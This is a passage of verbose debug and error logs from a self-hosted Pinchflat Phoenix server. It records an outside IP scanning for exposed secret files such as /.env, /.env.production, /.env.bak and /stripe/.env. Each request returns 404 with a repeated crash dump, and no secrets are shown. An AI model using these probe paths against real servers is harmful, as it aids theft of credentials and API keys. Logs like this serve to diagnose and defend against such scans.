Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfCMaHP9kUYwABcCi"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:11.755 [info] GET /env 15:40:11.755 [debug] QUERY OK source="settings" db=0.1ms idle=316.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.755 [debug] QUERY OK source="settings" db=0.0ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.755 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.755 [error] #PID<0.21343.0> running PinchflatWeb.Endpoint (connection #PID<0.21342.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21342.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51610}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21343.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfClIcjwAapYACLuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21342.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51610}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21342.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51610}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21343.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfClIcjwAapYACLuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:11.859 [info] GET /stripe/.env 15:40:11.859 [debug] QUERY OK source="settings" db=0.1ms idle=310.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.859 [debug] QUERY OK source="settings" db=0.0ms idle=207.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.859 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.859 [error] #PID<0.21345.0> running PinchflatWeb.Endpoint (connection #PID<0.21344.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /stripe/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21344.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51624}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21345.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfC92F0vfQ1AABcDC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21344.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51624}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21344.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51624}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21345.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfC92F0vfQ1AABcDC"} ], scheme: :http, script_name: [] (truncated) 15:40:11.962 [info] GET /.env.production 15:40:11.962 [debug] QUERY OK source="settings" db=0.0ms idle=310.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.962 [debug] QUERY OK source="settings" db=0.0ms idle=206.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.962 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.962 [error] #PID<0.21347.0> running PinchflatWeb.Endpoint (connection #PID<0.21346.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21346.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51628}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21347.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfDWbdf7mAj8ACLvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21346.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51628}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21346.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51628}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21347.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfDWbdf7mAj8ACLvB"} ], scheme: :http, script_na (truncated) 15:40:12.066 [info] GET /.env.bak 15:40:12.066 [debug] QUERY OK source="settings" db=0.1ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.066 [debug] QUERY OK source="settings" db=0.0ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.066 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.067 [error] #PID<0.21349.0> running PinchflatWeb.Endpoint (connection #PID<0.21348.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21349.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfDvSRWfa4EIACLvh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21349.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, 